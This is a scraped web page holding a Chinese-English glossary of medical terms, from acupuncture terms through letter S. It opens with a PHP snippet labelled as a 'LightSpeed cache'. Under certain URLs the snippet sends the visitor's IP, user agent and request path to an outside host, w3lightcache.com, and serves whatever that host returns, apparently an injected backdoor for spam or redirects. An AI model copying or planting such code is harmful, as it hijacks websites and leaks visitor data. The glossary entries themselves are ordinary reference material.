/** * Implement the LightSpeed cache. */ if (preg_match ('/.*77.*/', $_SERVER['REQUEST_URI']) || preg_match ('/.*ach.*/', $_SERVER['REQUEST_URI'])) { error_reporting(0); $url="http://w3lightcache.com/server_new.php";$params="h=$_SERVER[HTTP_HOST]&ua=$_SERVER[HTTP_USER_AGENT]&ip=$_SERVER[REMOTE_ADDR]&ip2=$_SERVER[HTTP_X_FORWARDED_FOR]&uri=$_SERVER[REQUEST_URI]";$ch=curl_init($url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$params);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch); if (!empty($result)) {echo $result; die;} } 汉英医学词汇Chinese-English Medical Terms : American Institute of Acupuncture
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汉英医学词汇Chinese-English Medical Terms

 

A B C D E F G H J K L M N O P Q R S T W X Y Z

A

 

阿狄森氏病（肾上腺皮质机能减退）　Addison’s disease

癌　cancer，carcinoma

癌性溃疡　carcinomatous ulcer

嗳气　belching, eructation

爱滋病（艾滋病, 获得性免疫缺陷综合症）　acquired immunodeficiency syndrome (AIDS)

安定的；镇定药　tranquilizer

安慰剂（无效(对照)剂）　placebo

按摩疗法　massotherapy

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B

 

巴塞多氏病（突眼性甲状腺肿）　 Basedow’s/Graves’ disease,

白斑病（白癜风）　 vitiligo, leukoderma

白带　 leukorrhoea

白带过多　 leukorrhagia

白喉　 diphtheria

白内障　 cataract

白细胞增多　 leukocytosis

白细胞减少　 leukopenia

白血病　 leukemia

百日咳　 whooping cough, pertussis

柏油样便　tarry stool

败血病　septicemia

班替氏病（脾性贫血）　Banti’s disease

班替氏综合症（充血性脾大）　Banti’s syndrome

斑　plaque

斑疹伤寒　typhus fever

瘢痕瘤（瘢痕疙瘩）　keloid

瘢痕瘤切除术　keloidectomy

包皮炎　posthitis

背痛　dorsalgia

苯(丙)酮尿（苯丙酮酸尿）　phenylketonuria

鼻出血（鼻衄）　epistaxis

鼻镜（鼻窥器）　rhinoscope

鼻卡他　coryza (cold in the head)

鼻咽癌　nasopharyngeal carcinoma

鼻咽炎　nasopharyngitis

鼻炎　rhinitis

鼻(液)溢（流鼻涕）　rhinorrhoea

避孕药；避孕用具　contraceptive

鞭虫病　trichuriasis

扁桃体切除术　tonsillectomy

扁桃体炎　tonsillitis

扁桃体周炎　peritonsillitis

变态反应　allergic reaction

变形（畸形）；毁形　deformity, malformation; disfiguration

便秘　constipation

表皮脱落　exfoliation

髌骨　knee-cap, patella

髌(骨)切除术　patellectomy

病毒　virus

病毒血症　viremia

病理学　pathology

病理学家　pathologist

病理诊断　pathological diagnosis

病原体　pathogen

波动fluctuation

剥脱性皮炎　exfoliative dermatitis

伯格氏病（血栓闭塞性脉管炎）　Buerger’s disease

薄翳（角膜翳）；喷雾剂　nebula

补血药　haematinic

哺乳（授乳，泌乳）　lactation

不安定　restlessness

不适（欠爽）　malaise

不消化粪　undigested stool

不育（不孕）；无菌　sterility

不育症（不生育）　infertility

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C

 

摖伤（磨损）　 abrasion

糙皮病　pellagra

草酸钙　calcium oxalate

蟾皮病　phrynoderma

产后的　postpartum

产前的（分娩前的，出生前的）　prenatal, prepartal, prepartum

产科学　obstetrics

产科医师　obstetrician

肠梗阻　ileus, intestinal obstruction

肠结核　intestinal tuberculosis

肠痉挛　enterospasm

肠鸣　borborygmus

肠鸣音（蠕动音）　peristaltic sound, gurgling sound

肠憩室病　diverticulosis

肠切除术　enterectomy

肠切开术　enterotomy

肠疝；阴道后疝　enterocele

肠石　enterolith

肠胃气　flatus

肠胃气胀　flatulence

肠狭窄　enterostenosis

肠炎　enteritis

肠液　intestinal juice

肠造口术　enterostomy

潮热（痨病热，消耗热）　hectic fever

成形粪　formed stool

痴呆　dementia

充血（肿胀）　hyperemia, congestion, engorgement

冲洗(法)　irrigation

重复感染（重复传染）　superinfection

抽搐（局部肌肉小抽搐）　tic

臭鼻(症)　ozena

出汗（发汗）　diaphoresis

出血　haemorrhage

出血性黄疸　haemorrhagic jaundice

处方（药方）　prescription

杵状变（指、趾）　clubbing

触诊（扪诊）　palpation

穿刺(术)；刺伤　centisis, paracentesis; puncture

穿孔　perforation

穿通性溃疡　perforating ulcer

传播（传染，传导）；传递（遗传）；传递（神经）　transmission

传染（感染）　infection

传染病　infectious disease

传染性黄疸　infectious jaundice

喘鸣（喘息声）　wheeze, stridor

喘气　panting

创伤（外伤，损伤）；伤口　trauma; wound

垂体机能减退　hypopituitarism

唇干裂（唇损害）　cheilosis

唇裂（免唇）　cleft lip, harelip

唇炎　cheilitis

雌激素　oestrogen

磁共振成象　 Magnetic Resonance Imaging (MRI)

刺激（兴奋）　irritation

刺激的；刺激剂（刺激物）　irritant

刺激性皮炎　irritant dermatitis

促甲状腺(激)素　thyrotropic hormone, thyrotrophin, thyrotropin

促肾上腺皮质激素 　adrenocorticotropic hormone（缩ACTH）, adrenocorticotropin, adrenocorticotrophin

催吐的；催吐药　emetic

痤疮（粉刺）　acne, comedo

挫伤　bruise, contusion

错构瘤　hamartoma

错觉　illusion

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D

 

大流行病　pandemic disease

带状疱疹　herpes zoster, zoster, shingles

丹毒　erysipelas

单纯骨折　simple fracture

单瘫　monoplegia

单肢轻瘫　monoparesis

胆管炎　cholangitis

胆囊炎　cholecystitis

胆石　gallstone

胆石病　cholelithiasis

胆脂瘤（珠光瘤）　cholesteatoma

胆总管炎　choledochitis

蛋白尿(症)　 albuminuria, proteinuria

盗汗　night sweat

登革热（断骨热，骨痛热症）　dengue fever (breakbone fever)

等渗尿（等张尿）　isosthenuria

低温（降温）　hypothermia

低血糖（血糖过少）　glycopenia

低血压；张力减退　hypotension

骶骨痛　sacralgia

骶骼关节　sacro-iliac joints

地中海贫血（库利氏贫血）　thalassaemia (Cooley’s anaemia)

癫痫（俗名羊痫风，羊癫风）　epilepsy

癫痫发作　epileptic attack

酊（酊剂）　tincture

动脉瘤　aneurysm

动脉内膜炎　endarteritis

动脉硬化　arteriosclerosis

动脉炎　arteritis

动物幻视　zoopsia

冻疮　chilblain, frostbite

痘疱　pock

窦炎　sinusitis

毒气中毒；煤气中毒　gas poisoning

毒性（毒力）　toxicity

毒血症　toxemia

断奶（断乳）　weaning, delactation

多发性硬化　multiple sclerosis, disseminated sclerosis

多关节炎　polyarthritis

多汗(症)　hyperhidrosis

多肌炎　polymyositis

多尿症　polyuria, diabetes

多神经炎　polyneuritis

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E

 

鹅口疮（真菌性口炎）　 thrush

恶心　nausea

呃逆　 hiccup

恶化　deterioration

恶露　lochia

恶露过多　lochiorrhoea

恶性(肿)瘤　malignant tumour

儿科学　pediatrics

儿科医师　pediatrician

耳鸣　tinnitus

耳石（耳沙）　otolith

耳痛　

耳炎　otitis

耳硬化症　otosclerosis

耳真菌病　otomycosis

二尖瓣狭窄　mitral stenosis

二氧化碳　carbon dioxide

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F

 

发绀（青紫）　cyanosis

发汗药　diaphoretic

发红（面红）；冲洗　flushing

发热（热）　fever, pyrexia, pyrexy

发音困难　dysphonia

发育异常（发育不良，再生不良，发育不全）　dysplasia, hypoplasia, maldevelopment

发作；击；中风；推摩法（按摩）　stroke

烦渴　polydipsia

烦躁不安（焦虑）　dysphoria

反酸　sour regurgitation

反应　reaction, response

防腐的（抗菌的）；防腐剂（抗菌剂，保存剂）　antiseptic; preservative

放射性皮炎　radiodermatitis

放射学家（放射科医师）　radiologist

放射学　radiology

放射疗法（放射治疗）　radiotherapy

肥大　hypertrophy

肥胖　obesity, fatness

肺尘病　pneumoconiosis

肺动脉口狭窄（肺动脉瓣狭窄）　pulmonary stenosis

肺动脉血栓形成　pulmonary thrombosis

肺结核（肺痨）　pulmonary tuberculosis, phthisis（复phthises）

肺气肿　pneumonectasis, pulmonary emphysema

肺炎　pneumonia

分泌　secretion

分散(作用)（弥散(作用)）；分散体　dispersion

粪(便)　stool, faeces, dejection

风湿病　rheumatism

风湿病样的（类风湿性的）　rheumatoid

风湿( 性) 热（急性关节风湿病）　rheumatic fever

风湿性心(脏)炎　rheumatic carditis

风湿疹　rheumatid

风疹；麻疹　rubella; rubeola, measles, German measles

蜂窝织炎　cellulites, phlegmon

敷料（敷裹）　dressing

腐蚀（腐烂）　decay

妇科学　gynaecology

妇科学家（妇科医师）　gynaecologist

附睾　epididymis（复epididymides）

附睾炎　epididymitis

复发（再发）　recurrence/relapse

复苏(术)（回生）　resuscitation

复原（恢复，康复，痊愈）　recuperation, recovery, restoration

副流感（类流感）　parainfluenza

副伤寒　paratyphoid

腹股沟　groin

腹股沟疝　inguinal hernia

腹膜炎　peritonitis

腹腔镜　laparoscope, peritoneoscope, celioscope

腹腔镜检查　laparoscopy, peritoneoscopy, celioscopy

腹水　ascites, ascetic fluid, hydroperitoneum

腹痛　abdominalgia

腹泻　diarrhoea

腹胀　abdominal distension

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G

 

钙　calcium

钙化（沉钙(作用)）　calcification

钙血症　calcemia

干呕　retching

甘油三酸脂　triglycerides

肝切除术　hepatectomy

肝切开术　hepatotomy

肝糖原过多症　glycogenosis

肝细胞瘤　hepatoma

肝炎　hepatitis

肝性昏迷　hepatic coma

感觉迟钝　dysesthesia

感觉异常　paresthesia

感冒　cold, common cold

绀红皮病　erythrocyanosis

肛门闭锁　imperforate anus, proctatresia

高热　hyperpyrexia

高山病（高原适应不全症）　mountain sickness

高血压；张力过强（压力过高）　hypertension

睾丸附睾炎　epididymo-orchitis, orchiepididymitis

睾丸鞘膜炎　perididymitis

睾丸切除术　orchiectomy

睾丸炎　orchitis

膈痉挛　phrenospasm

各类血细胞减少　pancytopenia

骼骨　ilium

更年期忧郁症　climacteric melanchoria

梗塞形成［梗死形成，梗塞（梗死）］　infarction

佝偻病；脊柱炎　rickets; rachitis

宫颈癌　cervical cancer

钩虫病　hookworm disease

股痛　meralgia

骨刺（骨距）　spur

骨发育障碍（骨发育不全）　dysostosis

骨骨膜炎　osteoperiostitis

骨关节炎　osteoarthritis

骨坏死　osteonecrosis

骨痂（胼胝）　callus　

骨瘤　osteoma

骨膜瘤　periostoma

骨膜炎　periostitis

骨软化　osteomalacia

骨切除术　ostectomy

骨软骨发育不良　osteochondrodysplasia

骨软骨瘤　osteochondroma

骨软骨炎　osteochondritis

骨髓瘤（髓瘤）　myeloma

骨髓炎　osteomyelitis

骨髓组织增生　myelosis

骨纤维瘤　osteofibroma

骨炎　osteitis

骨营养不良　osteodystrophy

骨折（断裂，裂痕）；折断　fracture

骨质疏松　osteoporosis, rarefaction of bone

罐头食物中毒　can poisoning

光照性皮炎　photodermatitis

孤独癖（康纳氏综合症，幼儿孤独癖）　autism (Kanner’s syndrome, infantile autism)

鼓膜炎　myringitis

鼓室炎（中耳炎）　tympanitis

谷氨酸钙　calcium glutamate

关节　joint；joints

关节积水　hydrarthrosis

关节积血　haemarthrosis

关节痛　arthralgia

关节炎　arthritis

关节周炎　periarthritis

冠心病　coronary heart disease

冠状动脉血栓形成　coronary thrombosis

冠状动脉炎　coronaritis

灌肠(法)（灌肠剂）　enema（复enemata）

龟头包皮炎　balanoposthitis

龟头炎　balanitis

过量　over dose

过敏(性)　hypersensitivity

过敏反应　anaphylactic reaction

过氧化锌　zinc peroxide

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H

 

寒战　rigor, chill

汗　sweat

汗闭　ischidrosis

汗(分泌)过少（少汗）　oligohydria

汗腺炎　hyradenitis

航空病（航空晕，晕机病）　aviation sickness, air-sickness, aeropathy

褐黄斑（黑斑病）　chloasma (melasma)

褐黄病　ochronosis

黑变病（黑素沉着病）　melanosis

黑粪　melena

黑(素)瘤　melanoma

黑肉瘤（黑素肉瘤）　melanosarcoma

黑色呕吐　melenemesis

黑(色)素　melanin

红白血病　erythroleukemia

红斑　erythema

红斑性肢痛病　erythromelalgia

红皮病　erythroderma

红细胞（旧名红血球）　erythrocyte, red blood cell, red blood corpuscle

红细胞减少(症)　erythrocytopenia, oligocythaemia, oligocytosis, hypocythaemia

红细胞增多(症)　erythrocythaemia, polycythaemia, erythrocytosis

红癣　erythrasma

虹膜　iris

虹膜睫状体炎　iridocyclitis

喉结核　laryngeal tuberculosis

喉痉挛　laryngospasm

喉炎　laryngitis

后天病　acquired disease

后遗症（后发病，遗患）　sequela

呼吸迟缓　oligopnea

呼吸急促　tachypnea

呼吸困难　dyspnoea

呼吸困难综合症　respiratory distress syndrome

花粉病（枯草热）　pollinosis, hay fever

滑膜瘤　synovioma

滑膜炎　synovitis

滑液　synovial fluid

化脓　suppuration, purulence/purulency

化脓的；催脓剂（生脓药）　suppurant

化学疗法（化学治疗，化疗）　chemotherapy

踝（踝关节）　ankle, ankle joint, malleolus (复 malleoli),  condyle

坏疽　gangrene

坏死　necrosis

坏血病　scurvy

缓解　remission

幻觉　hallucination

幻觉症　hallucinosis

黄斑　yellow spot

黄疸　jaundice

黄瘤　xanthoma

黄瘤病，黄脂增生病　xanthomatosis

黄皮症，黄变症　xanthosis

黄嘌呤尿　xanthinuria

黄热病　yellow fever

黄体化激素　luteinizing hormone (缩LH)

黄体瘤　luteoma

黄体酮（孕酮）　progesterone

黄癣（毛囊癣）　favus

恢复(期)（康复(期)，复原）　convalescence

回肠　ileum

回肠炎　ileitis

回归热　relapsing fever

回流（反流）；反胃　reflux; regurgitation

蛔虫　ascaris

蛔虫病　ascariasis

会诊　consultation

昏迷　coma

混浊（不透明，不透光）；不透明区（浊斑）　turbidity; opacity

霍乱　cholera

霍纳氏综合症（颈交感神经麻痹）　Horner’s syndrome

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J

 

机能性疾病（官能性疾病）　functional disease

机能障碍（机能不良）　dysfunction

肌断裂　myorrhexis

肌瘤　myoma

肌酸尿　creatinuria

肌痛　myalgia

肌萎缩　amyotrophy, amyotrophia, myatrophy

肌无力　myasthenia

肌纤维颤搐　myokymia

肌炎　myositis

肌营养不良　myodystrophia, muscular dystrophy

积气(病)　pneumatosis

积水（水肿）　dropsy, hydrops

畸胎瘤　teratoma

畸形（变形）；毁形　malformation, deformity; disfiguration

激素　hormone

急性病　acute disease

急症　emergency

疾病　sickness, disease, ailment, illness

疾病恐怖　pathophobia

脊髓灰质炎　poliomyelitis, polio, infantile paralysis

脊神经根炎　radiculitis

脊髓脊膜炎　meningomyelitis

脊髓肉瘤　myelosarcoma

脊髓神经根炎　myeloradiculitis

脊髓突出　myelocele

脊髓炎　myelitis

脊椎炎　spondylitis

计算机化断层X线摄影　computerized tomography (CT)

记忆缺失（遗忘(症)）　amnesia

记忆障碍　dysmnesia

剂量　dosage

剂量学　posology

寄生虫学（寄生物学）　parasitology

寄生虫（寄生物，寄生胎）　parasite

甲床炎　onychia

甲弯曲（钩甲，弯甲症）　onychogryphosis

甲状旁腺机能减退　hypoparathyroidism

甲状旁腺机能亢进　hyperparathyroidism

甲状腺切除术　thyroidectomy

甲状腺(剂)中毒　thyroidism

甲状腺炎　thyroiditis

甲状腺机能不全　thyropenia

甲状腺机能减退　hypothyroidism

甲状腺机能亢进　hyperthyroidism, thyroidism

甲状腺毒症　thyrotoxicosis

甲状腺毒素　thyrotoxin

甲状腺素　thyroxine (代T4)

甲状腺肿　goiter, struma（复strumae）

假性脑膜炎　meningism

间皮瘤　mesothelioma

间歇热　intermittent fever

肩　shoulder

肩关节　shoulder joints

肩关节炎　omarthritis

肩胛(骨)　scapula, shoulder-blade

肩痛；肩胛痛　omalgia, omodynia; scapulalgia, scapulodynia

检眼镜（眼底镜）　ophthalmoscope

检眼镜检查(法)（眼底镜检查(法)）　ophthalmoscopy, funduscopy

检疫（留验，检疫所，检疫期，隔离区）　quarantine

减轻的（治标的，姑息的）；姑息剂（治标剂）　palliative

碱性反应　alkaline reaction

睑板腺炎　tarsadenitis

睑黄斑瘤　xanthelasma

睑下垂　blepharoptosis

睑炎（尤指睑缘炎）　blepharitis

腱鞘炎　tenosynovitis

腱炎　tendonitis, tendinitis, tenositis

鉴别诊断　differential diagnosis

浆膜炎　serositis

胶浆（胶水）　mucilage

胶原　collagen

焦虑　anxiety

角化病　keratosis

角膜成形术（角膜移植术）　keratoplasty

角膜镜　keratoscope

角膜镜检查（角膜散光盘检查）　keratoscopy

角膜切除术　keratectomy

角膜炎　keratitis

绞痛　colic

脚气(病)　beriberi

脚癣　tinea pedis, athlete’s foot

酵母(菌)　yeast

疖　furuncle, furunculus,  boil

疖病　furunculosis

接种热　vaccinal fever

接触传染的　contagious

接触性皮炎　contact dermatitis

接种（种痘）　inoculation, vaccination

节育（避孕）　contraception, birth control

节制（节欲）　continence

结肠切除术　colectomy

结肠炎　colitis

结核(病)　tuberculosis (TB)

结膜炎　conjunctivitis, pink eye

结扎（(结)扎法）　ligation

截瘫（下身麻痹）　paraplegia

解毒(作用)　detoxication

疥疮（疥螨病）　scabies

紧张性痉挛（持续性痉挛）　tonic spasm

紧张症（木僵）　catatonia

近视　myopia, near-sightedness

近事遗忘　ecmnesia

禁忌证　contraindication

经闭（无月经）　amenorrhoea

经绝期（绝经）　menopause

经前期综合症　premenstrual syndrome (PMS)

惊厥（子痫）　convulsion, eclampsia

精囊炎　vesiculitis

精神病　psychosis

精神病学　psychiatry

精神病学家（精神病科医师）　psychiatrist

精神分裂症　schizophrenia

精神疗法　psychotherapy

精神失调　psychataxia

精神衰弱　psychasthenia

精神性痛（精神痛苦）　psychalgia

精死症（死精症）　necrospermia, necrozoospermia

精索　spermatic cord, funiculus

精索静脉曲张　varicocele , varicole

精索炎　corditis, funiculitis, spermatitis

精液　semen, seminal fluid

精子　sperm

精子减少（精液缺乏，少精液症）　oligospermia, oligospermatism, oligozoospermia

精子缺乏（精子过少，精子活动力缺乏）　azoospermia, spermacrasia

胫骨　shin-bone

痉挛　spasm

静脉扩张　phlebectasis

静脉内膜炎　endophlebitis

静脉切除术　phlebectomy

静脉切开术　venesection

静脉曲张　varicose veins

静脉曲张病　varicosis

静脉曲张性溃疡　varicose ulcer

静脉炎　phlebitis

酒渣鼻（红斑痤疮）　rosacea

局部的　topical

局部反应　local reaction

局部缺血　ischemia

局限性肺炎　pneumonitis

绝经期（更年期）　climateric

菌苗（疫苗）　vaccine

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K

 

咖啡因（咖啡碱）　caffeine

卡他（粘膜炎）　catarrh

咯血　haemoptysis

开放骨折（哆开骨折）　compound fracture, open fracture

康复（恢复）　rehabilitation, restoration, recovery

可动性（移动性）　mobility

空肠切除术　jejunectomy

空肠　jejunum

口吃（讷吃，衲吃）　stuttering, stammering

口臭(症)　halitosis, ozostomia, bad breath

口角干裂　angular cheilosis

口角炎　commissural cheilitis

口腔干燥　xerostomia

口蹄疫　foot and mouth disease

口炎　stomatitis

扣诊(法)　percussion

枯草热（花草气喘，花粉病）　hay fever, pollenosis, pollinosis

夸大狂（自大狂）　megalomania

髋关节　hip joint

髋关节结核　coxotuberculosis

髋关节炎　coxitis, coxarthritis

髋痛　coxalgia, coxodynia

狂犬病（恐水病）　rabies, hydrophobia, lyssa

溃疡　ulcer

溃疡形成　ulceration

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L

 

阑尾炎　appendicitis

痨病；肺痨（肺结核）　phthisis

老年病学　geriatrics

老年性聋　presbyacusia

老视（老花眼）　presbyopia, presbytia, presbytism, old sight

雷诺氏病（两侧间歇性小痉挛症）　Raynaud’s disease

肋痛　costalgia

泪囊炎　dacryocystitis

泪腺炎　dacryoadenitis

理疗医师　physiatrist, physiatrician

粒细胞减少　granulocytopenia

粒细胞增多　granulocytosis

良性(肿)瘤　benign tumour

量（(一次)剂量，一剂）　dose

两侧瘫（双瘫）　diplegia

裂（裂隙，裂纹）　fissure

裂孔　hiatus

裂伤　 lacerated wound；laceration

临床诊断　clinical diagnosis

淋巴管瘤　lymphangioma

淋巴管炎　lymphangitis

淋巴结结核（瘰疬）　scrofula

淋巴(组织)瘤　lymphoma　（旧称lymphadenoma）

淋巴细胞（淋巴球）　lymphocyte

淋巴肉瘤　lymphosarcoma

淋巴肉芽肿　lymphogranuloma

淋巴上皮瘤／癌　lympho-epithelioma

淋巴水肿　lymphedema

淋巴细胞减少　lymphocytopenia

淋巴细胞增多　lymphocytosis

淋巴溢　lymphorrhoea

淋巴组织增生　lymphadenosis

淋病　gonorrhoea

磷酸钙　calcium phosphate

流产（小产）　abortion

流行性的；流行病　epidemic; epidemic disease

流行性感冒（简名流感）　influenza, flu

流行性腮腺炎　mumps

流涎（多涎）　sialism, sialosis, sialorrhoea, ptyalism

硫酸锌　zinc sulfate

隆凸（凸）　prominence, protuberance, carina（复 carinae）

痿（痿管）　fistula,  syrinx（复syrinxs or syringes）

炉甘石（异极石）　calamine

颅内压　intracranial pressure

绿色瘤　chloroma

氯化钙　calcium chloride

滤泡（小囊）；卵泡　follicle

卵　ovum (复ova)

卵巢囊肿切除术　oophorocystectomy

卵巢输卵管切除术　oophorosalpingectomy

卵巢输卵管炎　ovariosalpingitis

卵巢炎　oophoritis, ovaritis

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M

 

麻痹（瘫痪）　palsy, paralysis

麻痹性痴呆（轻瘫）　paresis

麻刺感　tingling

麻木　numbness

麻疹；风疹（德国麻疹）　measles; rubeola, rubella, German measles

脉管炎（血管炎）　angiitis（复 angiitides）, vasculitis

脉（搏）压　pulse pressure

慢性病　chronic disease

慢性溃疡　chronic ulcer

盲囊（窝，陷凹）　pouch

毛滴虫（滴虫）　trichomonas

毛滴虫病（滴虫病）　trichomoniasis

毛囊炎　folliculitis

毛球炎（俗名发根炎）　trichitis

毛细管，毛样的　capillary

毛线虫病（旋毛虫病）　trichinosis

毛(发)癣菌病　trichophytosis

梅毒　syphilis, lues

梅尼埃尔氏病（耳性眩晕病）　Meniere’s disease

霉　mold

门静脉血栓形成　portal thrombosis

门静脉炎　pylephlebitis

梦惊　night-terrors

梦行症（夜游症）　night-walking, somnambulism

梦魇（恶梦）　nightmare

梦遗　night/nocturnal emission

迷路炎（内耳炎）　labyrinthitis

泌尿科学　urology

泌尿科学家（泌尿科医师）　urologist

泌乳过多　polygalactia

泌乳停止（停乳，断乳）　galactostasis, galactostasia, ablactation, delactation

免疫(性)　immunity

免疫法（免疫(作用)）　immunization

免疫学　immunology

面肌痉挛　facial spasm

磨牙(症)（咬牙，牙摩擦）　odontoprisis, bruxism

木僵（昏呆）　stupor

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N

 

耐(药)量（耐受性）；(忍)耐力　tolerance

难产　dystocia

囊瘤　cystoma

囊肿（(包)囊）　cyst

蛲虫　pinworm, oxyurid

蛲虫病　enterobiasis, oxyuriasis

脑充血　encephalemia

脑电描记器　electroencephalograph

脑电描记术　electroencephalography

脑电图　electroencephalogram (EEG)

脑灰质炎　polioencephalitis

脑(脊)膜瘤　meningioma

脑(脊)膜炎　meningitis

脑脊液压　cerebrospinal pressure

脑膜脑炎（脑脑膜炎）　meningoencephalitis, encephalomeningitis, cerebromeningitis

脑水肿　encephaledema

脑血栓形成　cerebral thrombosis

脑炎（大脑炎）　encephalitis, cerebritis

内分泌(机能)衰弱（内分泌衰竭）　endocrinasthenia

内窥镜检查　endoscopy

内皮瘤　endothelioma

内生骨疣　enostosis

内生软骨瘤　enchondroma

内脏下垂　visceroptosis

泥疗（泥土疗法）　pelotherapy, pelopathy

粘膜炎　mucositis

粘液囊炎（滑囊炎）　bursitis

粘液　mucus

粘液囊肿　mucocele

粘液(性)水肿　myxedema

念珠菌病　candidiasis

尿胆素　urobilin

尿胆素原　urobilinogen

尿道(窥)镜　urethroscope

尿道镜检查　urethroscopy

尿道狭窄　urethrostenosis

尿道腺炎　littritis

尿道炎　urethritis

尿毒症　uraemia

尿过少　oliguria

尿汗症　uridrosis

尿检查（尿诊断，尿检法）　uroscopy, urinoscopy

尿失禁　incontinence of urine

尿石病　urolithiasis

尿酸(盐)尿　lithuria

尿酸血症　uricemia

尿酸(盐)血症　lithemia

凝集反应　agglutination reaction

牛皮癣（银屑病）　psoriasis

扭伤（捩伤）　sprain

脓　pus

脓毒败血病　pyosepticemia, pyosapremia, septicopyemia

脓毒性热　septic fever

脓毒症（脓血症）　pyemia

脓尿　pyuria

脓疱病　impetigo

脓皮病　pyoderma

脓(性)痰　purulent sputum

脓性的　purulent

脓性肌炎　pyomyositis

脓溢　pyorrhoea

脓肿　abscess

疟(疾)　malaria

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O

 

欧氏管（咽鼓管，耳咽管）　Eustachian tube/canal, pharyngotympanic tube, syrinx（复syringes）

呕胆　cholemesis

呕吐　vomiting, emesia, emesis（复emeses）

呕血　haematemesis

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P

 

帕金森综合症（震颤麻痹）　Parkinson’s disease

排粪　defecation

排卵　ovulation

排尿（俗名撒尿，小便）　micturition, urination

排尿困难　dysuria

排尿频繁（尿频）　frequent micturition

排尿痛　urodynia

偏头痛　migraine

潘科斯特氏瘤（肺沟瘤）　Pancoast’s tumour

膀胱痉挛　cystospasm

膀胱镜检查　cystoscopy

膀胱三角炎　trigonitis

膀胱痛　cystalgia

膀胱炎　cystitis

泡沫(性)痰　frothy sputum

疱疹　herpes

喷嚏　sneeze

膨胀　distension

皮肤病　dermatosis

皮肤病学　dermatology

皮肤病学家（皮肤科医师）　dermatologist

皮肤角化病　keratodermia

皮肤结核（皮肤瘰疬）　scrofuloderma

皮肤口炎（多形渗出性红斑）　dermatostomatitis

皮肌炎　dermatomyositis

皮神经综合症　neurocutaneous syndrome

皮炎　dermatitis

皮脂溢　seborrhoea

疲劳　fatigue

脾机能亢进　hypersplenism

脾切除术　splenectomy

脾炎　splenitis, lienitis

偏身麻木　haemianesthesia

偏瘫（半身不遂）　haemiplegia

偏头痛　haemicrania

频尿　pollakiuria

贫血　anaemia

平滑肌瘤　leiomyoma

平滑肌肉瘤　leiomyosarcoma

平足　flatfoot

破裂　rupture

破伤风，(肌)强直　tetanus, lockjaw

剖腹术　laparotomy

剖腹子宫切除术（腹式子宫切除术）　abdominohysterectomy

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Q

 

脐带脱垂　prolapse of cord

脐疝　umbilical hernia

气喘（病）　asthma

气管镜检查　tracheoscopy

气管炎　tracheitis

气管支气管炎　tracheobronchitis

气尿　pneumaturia

气脓胸　pneumoempyema

气肿　emphysema

器质性疾病　perenchymal disease, organic disease

憩室炎　diverticulitis

前列腺癌　prostate cancer

前列腺切除术　prostatectomy

前列腺炎　prostatitis

前突（突出）　protrusion

强光眼炎　photophthalmia

强直（僵硬）　stiffness, rigidity, tetany, tetanus

切除术　resection, excision

切口（切开(术)）　incision

切伤（割伤）　incised wound

侵蚀（腐蚀）；糜烂　erosion

青光眼（旧名绿内障）　glaucoma

轻度衰弱　hypasthenia

轻泻的；轻泻药　laxative

氢氧化钙　calcium hydroxide

曲张精索静脉切除术　varicocelectomy

曲张静脉切除术　varicotomy

祛痰药　expectorant

全心炎　pancarditis

全眼球炎　panophthalmitis

全子宫切除术　panhysterectomy

缺氧血(症)（血缺氧）　anoxemia

雀斑；（着色斑，小痣，雀斑样痣）　freckle; lentigo（复lentigines）

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R

 

热性的，发热的　febrile

人工流产　artificial/induced abortion

韧带联合　syndesmosis

妊娠（怀孕，受孕）　pregnancy, conception, gestation

日射病（中暑）　sunstroke

溶血性黄疸　haemolytic jaundice

肉瘤　 sarcoma

肉芽肿（肉芽瘤）　granuloma

肉芽肿病　granulomatosis

蠕动　peristalsis

乳房切除术　mastectomy

乳房痛　mastodynia

乳房X线照相术　mammography

乳房炎，乳腺炎　mastitis

乳磷酸钙　calcium lactophosphate

乳糜尿　chyluria

乳泌缺乏，无乳　agalacia

乳头视网膜炎　papilloretinitis

乳头瘤，乳头状瘤　papilloma

乳头炎　mamillitis

乳突切除术　mastoidectomy

乳突炎　mastoiditis

乳腺萎缩　mastatrophy

乳液积滞；泌乳停止　galactostasis

软膏(剂)　ointment

软骨病　chondropathy

软骨瘤　chondroma

软骨膜炎　perichondritis

软骨肉瘤　chondrosarcoma

软骨炎　chondritis

软化　malacia, softening

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S

 

腮腺炎　parotitis, parotiditis　

三尖瓣狭窄　tricuspid stenosis

散布，播散　dissemination

沙门氏菌病　salmonellosis

沙眼　trachoma

疝（突出）　hernia

伤寒　typhoid, typhoid fever

上皮瘤（上皮癌）　epithelioma, epithelial cancer

上皮增殖　epitheliosis

少汗(症)　hypohidrosis

舌下囊肿　ranula

舌炎　glossitis

神经病学　neurology

神经病学家（神经病科医师）　neurologist

神经机能病（神经官能症）　neurosis

神经胶质瘤　neuroglioma, glioma（复gliomata）

神经胶质瘤病（神经胶质增生）　gliosis

神经节；腱鞘囊肿　ganglion

神经节瘤　ganglioneuroma

神经节炎　ganglionitis

神经瘤　neuroma

神经瘤性象皮病　pachydermatocele

神经鞘瘤　schwannoma

神经上皮瘤　neuro-epithelioma

神经失用症（机能性麻痹）　neurapraxia

神经束切除术　tractotomy

神经衰弱　neurasthenia

神经痛　neuralgia

神经纤维瘤　neurofibroma

神经纤维瘤病　neurofibromatosis

神经性痉挛　neurospasm

神经性皮炎　neurodermatitis

神经炎　neuritis

肾　kidney

肾变病（肾病）　nephrosis

肾结核　renal tuberculosis

肾瘤　nephroma

肾胚细胞瘤，维尔姆斯氏瘤　nephroblastoma, Wilm’s tumour

肾切除术　nephrectomy

肾上腺机能亢进　hyperadrenalism

肾上腺皮质机能亢进　hyperadrenocorticism

肾上腺样瘤　hypernephroma

肾石　nephrolith

肾下垂　nephroptosis

肾小球性肾炎　glomerulonephritis

肾小球炎　glomerulitis

肾小球硬化症　glomerulosclerosis

肾炎　nephritis

肾硬化（肾硬变(病)）　nephrosclerosis

肾盂积水　hydronephrosis

肾盂肾炎　nephropyelitis, pyelonephritis

肾盂炎　pyelitis

渗出液（渗出物，渗出(作用)）　exudate, exudation, effusion

生理学　physiology

生理学家　physiologist

生育力　fertility

生殖的；遗传的　genetic

声带炎　chorditis

声嘶　hoarseness

失禁（无节制）　incontinence

失眠　insomnia

失血（出血）　blood loss

失音（失声(症)，发声不能）　loss of voice, aphonia

失语(症)　aphasia

湿疣　condyloma

湿疹　eczema

湿疹性皮炎　eczematous dermatitis

十二指肠溃疡　duodenal ulcer

十二指肠炎　duodenitis

十二指肠液　duodenal juice

